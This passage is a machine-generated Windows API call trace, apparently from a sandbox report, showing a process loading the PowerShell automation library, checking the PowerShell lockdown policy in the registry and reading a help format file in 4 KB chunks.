(in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d854, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.868] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xbaa63f76, Data2=0x6b7c, Data3=0x48b2, Data4=([0]=0x9a, [1]=0x6a, [2]=0x79, [3]=0xb, [4]=0x57, [5]=0x3e, [6]=0x9, [7]=0xf0))) returned 0x0 [0094.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.869] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x5fb0a166, Data2=0xc3, Data3=0x4506, Data4=([0]=0x8e, [1]=0x9a, [2]=0x64, [3]=0xf8, [4]=0xcd, [5]=0x76, [6]=0x2d, [7]=0x6))) returned 0x0 [0094.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.869] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x63bc2329, Data2=0xa7fb, Data3=0x4277, Data4=([0]=0x8a, [1]=0xc0, [2]=0x3d, [3]=0x8d, [4]=0x87, [5]=0x41, [6]=0xbc, [7]=0xbf))) returned 0x0 [0094.870] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x85994903, Data2=0xf58a, Data3=0x4050, Data4=([0]=0x9c, [1]=0x79, [2]=0x74, [3]=0xaf, [4]=0xf4, [5]=0x91, [6]=0x3f, [7]=0xaf))) returned 0x0 [0094.870] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xa4046cb2, Data2=0xd16c, Data3=0x4601, Data4=([0]=0xbd, [1]=0x3b, [2]=0x2d, [3]=0xb4, [4]=0x51, [5]=0x8f, [6]=0x30, [7]=0x75))) returned 0x0 [0094.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.870] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xce72587f, Data2=0xfbab, Data3=0x41ba, Data4=([0]=0xb2, [1]=0x47, [2]=0xf0, [3]=0x97, [4]=0xf9, [5]=0xe, [6]=0x28, [7]=0xfe))) returned 0x0 [0094.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.871] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x3b350441, Data2=0x896e, Data3=0x430d, Data4=([0]=0x88, [1]=0x7b, [2]=0x5a, [3]=0xcf, [4]=0xfc, [5]=0x51, [6]=0xf3, [7]=0xd9))) returned 0x0 [0094.871] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xbd432b20, Data2=0xdfd3, Data3=0x4045, Data4=([0]=0xb4, [1]=0xa2, [2]=0x23, [3]=0x72, [4]=0xdb, [5]=0xb5, [6]=0x29, [7]=0x58))) returned 0x0 [0094.871] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x32cb55d9, Data2=0xb836, Data3=0x4f88, Data4=([0]=0x9e, [1]=0x79, [2]=0xbe, [3]=0xec, [4]=0xd0, [5]=0x33, [6]=0x0, [7]=0x90))) returned 0x0 [0094.872] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x49f3ec40, Data2=0xfbed, Data3=0x4752, Data4=([0]=0x9f, [1]=0x25, [2]=0xa, [3]=0x68, [4]=0x93, [5]=0xc9, [6]=0x66, [7]=0x97))) returned 0x0 [0094.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dd24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", lpFilePart=0x0) returned 0x3f [0094.872] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.872] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.872] CoTaskMemFree (pv=0x42c9ac0) [0094.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc74, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0d4) returned 1 [0094.872] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e150 | out: lpFileInformation=0x427e150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0d0) returned 1 [0094.872] WldpGetLockdownPolicy () returned 0x0 [0094.872] GetSystemInfo (in: lpSystemInfo=0x427e17c | out: lpSystemInfo=0x427e17c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.873] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e108 | out: phkResult=0x427e108*=0x528) returned 0x0 [0094.873] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e124, lpData=0x0, lpcbData=0x427e120*=0x0 | out: lpType=0x427e124*=0x0, lpData=0x0, lpcbData=0x427e120*=0x0) returned 0x2 [0094.873] RegCloseKey (hKey=0x528) returned 0x0 [0094.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", lpFilePart=0x0) returned 0x3f [0094.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e110) returned 1 [0094.873] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\helpv3.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0094.873] GetFileType (hFile=0x528) returned 0x1 [0094.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e10c) returned 1 [0094.873] GetFileType (hFile=0x528) returned 0x1 [0094.873] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x0 [0094.873] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.875] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1000 [0094.876] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.876] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2000 [0094.876] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.877] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3000 [0094.877] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.877] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x4000 [0094.877] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.878] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x5000 [0094.878] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.878] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x6000 [0094.878] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.878] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x7000 [0094.878] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.879] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x8000 [0094.879] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.879] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x9000 [0094.879] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.879] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xa000 [0094.879] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.879] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xb000 [0094.879] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.880] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xc000 [0094.880] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.880] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xd000 [0094.880] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.880] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xe000 [0094.880] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.881] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xf000 [0094.881] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.882] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x10000 [0094.882] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.882] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x11000 [0094.882] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.882] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x12000 [0094.882] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.883] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x13000 [0094.883] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.883] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x14000 [0094.883] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.883] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x15000 [0094.883] ReadFile (in: hFile=0x528, 